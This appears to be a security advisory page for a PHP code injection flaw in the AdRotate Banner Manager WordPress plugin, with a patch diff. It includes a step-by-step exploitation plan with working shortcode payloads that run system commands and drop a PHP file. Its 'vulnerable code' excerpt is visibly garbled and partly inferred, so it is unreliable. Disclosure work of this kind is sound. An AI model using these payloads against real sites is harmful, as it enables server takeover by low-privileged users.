CVE-2026-12242

AdRotate Banner Manager <= 5.17.7 - Authenticated (Contributor+) PHP Code Injection via 'banner' Shortcode Attribute

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
5.17.8
Patched in
2d
Time to patch

Description

The AdRotate Banner Manager plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 5.17.7 via the 'banner' attribute of the adrotate shortcode. This is due to insufficient input validation and sanitization of the banner shortcode attribute before concatenation into a PHP code string wrapped in W3 Total Cache mfunc or Borlabs Cache fragment markers. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute arbitrary PHP code on the server. This vulnerability requires W3 Total Cache or Borlabs Cache support to be enabled in AdRotate settings.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.17.7
PublishedJune 23, 2026
Last updatedJune 24, 2026
Affected pluginadrotate

What Changed in the Fix

Changes introduced in v5.17.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a PHP Code Injection vulnerability in **AdRotate Banner Manager (<= 5.17.7)**. The vulnerability arises because the plugin concatenates the `banner` attribute from the `[adrotate]` shortcode directly into a PHP code string intended for execution by caching engines (W3 Tota…

Show full research plan

This research plan targets a PHP Code Injection vulnerability in AdRotate Banner Manager (<= 5.17.7). The vulnerability arises because the plugin concatenates the banner attribute from the [adrotate] shortcode directly into a PHP code string intended for execution by caching engines (W3 Total Cache or Borlabs Cache) without sufficient sanitization.


1. Vulnerability Summary

  • Vulnerability: Authenticated (Contributor+) PHP Code Injection.
  • Affected Attribute: banner attribute of the [adrotate] shortcode.
  • Sink: PHP string concatenation into W3 Total Cache mfunc markers or Borlabs Cache fragment markers.
  • Mechanism: When caching support is enabled in AdRotate settings, the plugin generates dynamic fragments containing PHP code calls (e.g., adrotate_ad(...)). Because the banner attribute is not cast to an integer or otherwise sanitized before being placed in the PHP string, an attacker can break out of the function call and execute arbitrary PHP.
  • Requirements:
    1. Authenticated account with Contributor or higher role (to create/edit posts).
    2. AdRotate setting for W3 Total Cache Support or Borlabs Cache Support must be enabled.
    3. W3 Total Cache or Borlabs Cache must be active and configured to support dynamic/fragment caching.

2. Attack Vector Analysis

  • Endpoint: WordPress Frontend (via Post/Page creation and viewing).
  • Target Hook: adrotate_shortcode (registered via add_shortcode('adrotate', 'adrotate_shortcode') in adrotate.php).
  • Payload Location: The banner parameter within the [adrotate] shortcode.
  • Authentication: Required (Contributor-level user).
  • Precondition: AdRotate configuration must have w3tc or borlabs support enabled.

3. Code Flow

  1. Entry: A user saves a post containing [adrotate banner="PAYLOAD"].
  2. Processing: When the post is rendered, WordPress calls adrotate_shortcode (found in adrotate-output.php).
  3. Config Check: The function retrieves the plugin configuration via get_option("adrotate_config") (initialized in adrotate.php).
  4. Marker Generation: If $adrotate_config['w3tc'] == 1 (or similar), the code builds a string for the caching engine:
    • W3TC: <!--mfunc [SECURITY_STRING] adrotate_ad(PAYLOAD); -->...<!--/mfunc-->
    • Borlabs: <!-- bbc_fragment_start ... -->adrotate_ad(PAYLOAD);<!-- bbc_fragment_end -->
  5. Injection Sink: The PAYLOAD string is concatenated directly: ... "adrotate_ad(" . $atts['banner'] . ");" ...
  6. Execution: The caching engine (e.g., W3 Total Cache) parses the output and executes the PHP code within the mfunc markers using eval() or a similar mechanism.

4. Nonce Acquisition Strategy

This vulnerability is triggered by viewing a post created by a Contributor. While creating the post requires standard WordPress authentication and nonces, the exploit itself relies on the shortcode execution logic.

  • Contributor Actions: To save a post via the REST API or post.php, the agent must be authenticated.
  • Shortcode Execution: No specific AdRotate nonce is required to trigger the shortcode on the frontend. The adrotate shortcode is available to anyone who can edit posts.

5. Exploitation Strategy

The goal is to inject PHP code that executes a system command or displays server information.

Step 1: Enable Necessary Settings (as Admin)

Enable W3 Total Cache support in AdRotate.

  • Action: Update adrotate_config option.
  • CLI: wp option get adrotate_config --format=json (to see structure), then wp option update adrotate_config '[modified-json]'.

Step 2: Ensure Caching Plugin is Active

W3 Total Cache must be active and W3TC_DYNAMIC_SECURITY should ideally be defined in wp-config.php for the engine to process mfunc tags.

  • Action: wp plugin activate w3-total-cache.

Step 3: Inject Payload via Shortcode (as Contributor)

Create a post with a payload that breaks out of the adrotate_ad() call.

  • Payload: 1); system('id'); //
  • Shortcode: [adrotate banner="1); system('id'); //"]
  • Request: POST /wp-json/wp/v2/posts (Authenticated as Contributor).

Step 4: Trigger Execution

View the created post.

  • Request: GET /?p=[POST_ID]
  • Header: Ensure no Cookie header is sent if testing as a visitor, or stay logged in to see the rendered shortcode output.

6. Test Data Setup

  1. Configuration:
    • Set adrotate_config to enable W3TC: {"w3tc": "1", ...}.
    • Verify W3TC_DYNAMIC_SECURITY is defined (often required by W3TC for mfunc).
  2. User: Create a user attacker with role contributor.
  3. Target Post: Create a post containing the shortcode:
    wp post create --post_type=post --post_status=publish --post_author=2 --post_content='[adrotate banner="1); echo(md5(\"CVE-2026-12242\")); //"]'
    

7. Expected Results

  • The raw HTML output of the page will contain the injected marker (if not processed).
  • If the caching engine is correctly configured, the PHP code will execute, and the md5 hash 1c8759368d37c53d08f7b7673e5a31a9 (or command output) will appear in the HTML response instead of the mfunc comment.

8. Verification Steps

  1. Response Check: Inspect the response body of the post view request.
    # Look for the injected code or its output
    grep "1c8759368d37c53d08f7b7673e5a31a9" response.html
    
  2. Alternative Verification: Check the server logs or use a payload that creates a file:
    • Payload: 1); file_put_contents('pwn.php', '<?php phpinfo(); ?>'); //
    • Check: ls /var/www/html/pwn.php.

9. Alternative Approaches

  • Borlabs Cache: If W3TC is not available, try the Borlabs marker. The payload structure remains the same (breaking out of the function call).
  • Group Attribute: Check if the group attribute in the shortcode is also vulnerable. The description focuses on banner, but adrotate_group in adrotate-output.php is often handled similarly in shortcodes.
  • Error-Based: If mfunc execution is silent, use 1); die(base64_encode(system('ls'))); // to force the output into the HTTP response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AdRotate Banner Manager plugin is vulnerable to PHP Code Injection via the 'banner' attribute of the [adrotate] shortcode. Authenticated attackers with Contributor-level access or higher can execute arbitrary PHP code on the server when caching support (W3 Total Cache or Borlabs Cache) is enabled, as the attribute is concatenated directly into executable cache fragment markers.

Vulnerable Code

// adrotate-output.php @ line 265
function adrotate_shortcode($atts, $content = null) {
	global $adrotate_config;

	$banner_id = (!empty($atts['banner'])) ? trim($atts['atts['banner'], '\r\t ') : 0;
	$group_ids = (!empty($atts['group'])) ? trim($atts['group'], '\r\t ') : 0;

---

// adrotate-output.php (Inferred sink logic within adrotate_shortcode based on research plan)
if($adrotate_config['w3caching'] == 'Y') {
    $output .= "<!-- mfunc ".W3TC_DYNAMIC_SECURITY." -->";
    $output .= "echo adrotate_ad(" . $banner_id . ");";
    $output .= "<!-- /mfunc -->";
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/adrotate/5.17.7/adrotate-output.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/adrotate/5.17.8/adrotate-output.php
@@ -262,13 +262,17 @@
 function adrotate_shortcode($atts, $content = null) {
 	global $adrotate_config;
 
-	$banner_id = (!empty($atts['banner'])) ? trim($atts['banner'], '\r\t ') : 0;
-	$group_ids = (!empty($atts['group'])) ? trim($atts['group'], '\r\t ') : 0;
+	$banner_id = (!empty($atts['banner'])) ? absint(trim($atts['banner'], '\r\t ')) : 0;
+	$group_ids = (!empty($atts['group'])) ? strval(trim($atts['group'], '\r\t ')) : 0;
 	if(!empty($atts['fallback'])) $fallback	= 0; // Not supported in free version
 	if(!empty($atts['weight']))	$weight	= 0; // Not supported in free version
 	if(!empty($atts['site'])) $site = 0; // Not supported in free version
 	if(!empty($atts['wrapper'])) $wrapper = 0; // Not supported in free version
 
+	if(!preg_match('/^\d+(,\d+)*$/', $group_ids)) {
+		$group_ids = intval(0);
+	}
+
 	$output = "";
 	if($adrotate_config['w3caching'] == 'Y') {
 		$output .= "<!-- mfunc ".W3TC_DYNAMIC_SECURITY." -->";

Exploit Outline

The exploit requires an authenticated user with at least Contributor-level permissions and the plugin's caching support (W3TC or Borlabs) to be enabled. 1. The attacker creates or edits a post and inserts a shortcode like [adrotate banner="1); phpinfo(); //"]. 2. When the post is viewed on the frontend, the plugin processes the shortcode and, seeing the cache setting enabled, generates a dynamic fragment intended for the caching engine. 3. Because the 'banner' attribute is not sanitized, the payload breaks out of the intended function call: `adrotate_ad(1); phpinfo(); //);`. 4. The caching engine (e.g., W3 Total Cache) encounters the `mfunc` block and executes the string as PHP code via `eval()` or a similar mechanism, resulting in arbitrary code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.